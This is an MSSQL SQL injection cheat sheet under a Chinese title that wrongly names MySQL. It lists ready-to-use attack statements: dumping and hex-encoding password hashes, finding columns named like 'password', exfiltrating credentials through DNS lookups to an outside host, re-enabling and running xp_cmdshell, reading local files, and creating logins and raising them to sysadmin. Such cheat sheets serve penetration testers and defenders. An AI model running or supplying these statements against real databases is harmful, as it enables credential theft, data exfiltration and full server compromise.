mysql is_grantable_各类型数据库注入时的一些语句

VersionSELECT @@version

CommentsSELECT 1 -- comment

SELECT /*comment*/1

Current UserSELECT user_name();

SELECT system_user;

SELECT user;

SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

List UsersSELECT name FROM master..syslogins

List Password HashesSELECT name, password FROM master..sysxlogins -- priv, mssql 2000;

SELECT

name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins --

priv, mssql 2000.  Need to convert to hex to return hashes in MSSQL

error message / some version of query analyzer.

SELECT name, password_hash FROM master.sys.sql_logins -- priv, mssql 2005;

SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins -- priv, mssql 2005

Password CrackerMSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.

List PrivilegesImpossible?

List DBA AccountsTODO

SELECT

is_srvrolemember('sysadmin'); -- is your account a sysadmin?  returns 1

for true, 0 for false, NULL for invalid role.  Also try 'bulkadmin',

'systemadmin' and other values from the documentation SELECT is_srvrolemember('sysadmin', 'sa'); -- is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.

Current DatabaseSELECT DB_NAME()

List DatabasesSELECT name FROM master..sysdatabases;

SELECT DB_NAME(N); -- for N = 0, 1, 2, ...

List ColumnsSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); -- for the current DB only

SELECT

master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM

master..syscolumns, master..sysobjects WHERE

master..syscolumns.id=master..sysobjects.id AND

master..sysobjects.name='sometable'; -- list colum names and types for

master..sometable

List TablesSELECT name FROM master..sysobjects WHERE xtype = 'U'; -- use xtype = 'V' for views

SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';

SELECT

master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM

master..syscolumns, master..sysobjects WHERE

master..syscolumns.id=master..sysobjects.id AND

master..sysobjects.name='sometable'; -- list colum names and types for

master..sometable

Find Tables From Column Name--

NB: This example works only for the current database.  If you wan't to

search another db, you need to specify the db name (e.g. replace

sysobject with mydb..sysobjects).

SELECT sysobjects.name as

tablename, syscolumns.name as columnname FROM sysobjects JOIN

syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype =

'U' AND syscolumns.name LIKE '%PASSWORD%' -- this lists table, column

for each column containing the word 'password'

Select Nth RowSELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC -- gets 9th row

Select Nth CharSELECT substring('abcd', 3, 1) -- returns c

Bitwise ANDSELECT 6 & 2 -- returns 2

SELECT 6 & 1 -- returns 0

ASCII Value -> CharSELECT char(0x41) -- returns A

Char -> ASCII ValueSELECT ascii('A') - returns 65

CastingSELECT CAST('1' as int);

SELECT CAST(1 as char)

String ConcatenationSELECT 'A' + 'B' - returns AB

If StatementIF (1=1) SELECT 1 ELSE SELECT 2 -- returns 1

Case StatementSELECT CASE WHEN 1=1 THEN 1 ELSE 2 END -- returns 1

Avoiding QuotesSELECT char(65)+char(66) -- returns AB

Time DelayWAITFOR DELAY '0:0:5' -- pause for 5 seconds

Make DNS Requestsdeclare @host varchar(800); select @host = name FROM master..syslogins;

exec('master..xp_getfiledetails ''\\' + @host + '\c$\boot.ini'''); --

nonpriv, works on 2000

declare @host varchar(800); select

@host = name + '-' + master.sys.fn_varbintohexstr(password_hash) +

'.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist ''\\' +

@host + '\c$\boot.ini'''); -- priv, works on 2005

-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy but necessary.

-- Also check out theDNS tunnel feature of sqlninja

Command ExecutionEXEC xp_cmdshell 'net user'; -- priv

On MSSQL 2005 you may need to reactivate xp_cmdshell first as it's disabled by default:

EXEC sp_configure 'show advanced options', 1; -- priv

RECONFIGURE; -- priv

EXEC sp_configure 'xp_cmdshell', 1; -- priv

RECONFIGURE; -- priv

Local File AccessCREATE TABLE mydata (line varchar(8000));

BULK INSERT mydata FROM 'c:\boot.ini';

DROP TABLE mydata;

Hostname, IP AddressSELECT HOST_NAME()

Create UsersEXEC sp_addlogin 'user', 'pass'; -- priv

Drop UsersEXEC sp_droplogin 'user'; -- priv

Make User DBAEXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; -- priv

Location of DB filesTODO

Default/System Databasesnorthwind

model

msdb

pubs

tempdb